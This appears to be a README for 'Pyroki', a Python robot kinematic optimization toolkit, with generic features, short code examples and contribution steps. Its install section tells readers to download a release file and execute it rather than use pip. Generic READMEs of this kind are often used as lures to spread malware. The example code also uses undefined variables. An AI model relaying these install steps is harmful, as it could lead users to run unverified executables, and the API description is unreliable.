Pyroki: A Modular Toolkit for Robot Kinematic Optimization 🤖

Welcome to the Pyroki repository! This toolkit is designed to help developers and researchers optimize robot kinematics in a modular and efficient way. With Pyroki, you can streamline your robotic projects and improve their performance.

Table of Contents

• Introduction
• Features
• Installation
• Usage
• Examples
• Contributing
• License
• Contact

Introduction

Robotics is a rapidly evolving field. The need for efficient kinematic optimization is crucial for developing advanced robotic systems. Pyroki provides a set of tools to help you tackle this challenge. Our modular approach allows you to customize the toolkit to fit your specific needs.

Features

• Modular Design: Add or remove components based on your project requirements.
• User-Friendly Interface: Easy to navigate and implement.
• Performance Optimization: Advanced algorithms to enhance robot movement and efficiency.
• Extensive Documentation: Comprehensive guides and examples to help you get started.
• Active Community: Join a community of developers and researchers who share your passion.

Installation

To get started with Pyroki, you need to download the latest release. Visit our Releases section to find the appropriate version for your system. Download the file and execute it to install Pyroki.

Prerequisites

Before you install Pyroki, ensure you have the following:

• Python 3.6 or higher
• Pip (Python package installer)
• Basic understanding of robotics and kinematics

Steps to Install

1. Go to the Releases section.
2. Download the latest release suitable for your operating system.
3. Execute the downloaded file.
4. Follow the on-screen instructions to complete the installation.

Usage

Once installed, you can start using Pyroki in your projects. Here’s a simple example to help you get started:

import pyroki

# Initialize the robot
robot = pyroki.Robot()

# Set parameters
robot.set_parameters(max_speed=5, max_acceleration=10)

# Optimize kinematics
optimized_path = robot.optimize_kinematics(start_position, end_position)

# Execute the optimized path
robot.execute_path(optimized_path)

This example shows how to initialize a robot, set its parameters, optimize its kinematics, and execute the optimized path.

Examples

Here are a few examples to illustrate the capabilities of Pyroki:

Example 1: Basic Kinematic Optimization

import pyroki

robot = pyroki.Robot()
robot.set_parameters(max_speed=3, max_acceleration=8)

start = (0, 0)
end = (10, 10)

path = robot.optimize_kinematics(start, end)
robot.execute_path(path)

Example 2: Complex Path Planning

import pyroki

robot = pyroki.Robot()
robot.set_parameters(max_speed=4, max_acceleration=9)

waypoints = [(0, 0), (5, 5), (10, 0)]
optimized_path = robot.optimize_path(waypoints)

robot.execute_path(optimized_path)

These examples demonstrate how easy it is to implement kinematic optimization with Pyroki.

Contributing

We welcome contributions to Pyroki! If you would like to help improve the toolkit, please follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them with clear messages.
4. Push your branch to your forked repository.
5. Open a pull request to the main repository.

Please ensure your code follows the existing style and includes tests where applicable.

License

Pyroki is licensed under the MIT License. You can freely use, modify, and distribute the toolkit, provided you include the original license.

Contact

For any questions or feedback, feel free to reach out:

• Email: support@pyroki.com
• GitHub Issues: Use the Issues tab in this repository to report bugs or request features.

Thank you for using Pyroki! We hope it helps you in your robotic projects. For the latest updates, always check the Releases section.